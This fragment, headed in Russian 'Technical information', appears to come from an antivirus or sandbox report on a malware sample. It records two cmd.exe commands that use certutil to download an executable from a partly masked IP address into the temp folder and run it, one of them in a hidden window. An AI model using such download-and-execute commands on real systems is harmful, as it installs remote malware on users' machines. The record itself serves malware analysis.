Техническая информация
- '<SYSTEM32>\cmd.exe' /c certutil -urlcache -split -f http://45.##.14.154/B/DEPOSITE %TEMP%\fUqzYzwPHQDGDUF.exe& %TEMP%\fUqzYzwPHQDGDUF.exe
- '<SYSTEM32>\cmd.exe' /c certutil -urlcache -split -f http://45.##.14.154/B/DEPOSITE %TEMP%\fUqzYzwPHQDGDUF.exe& %TEMP%\fUqzYzwPHQDGDUF.exe' (со скрытым окном)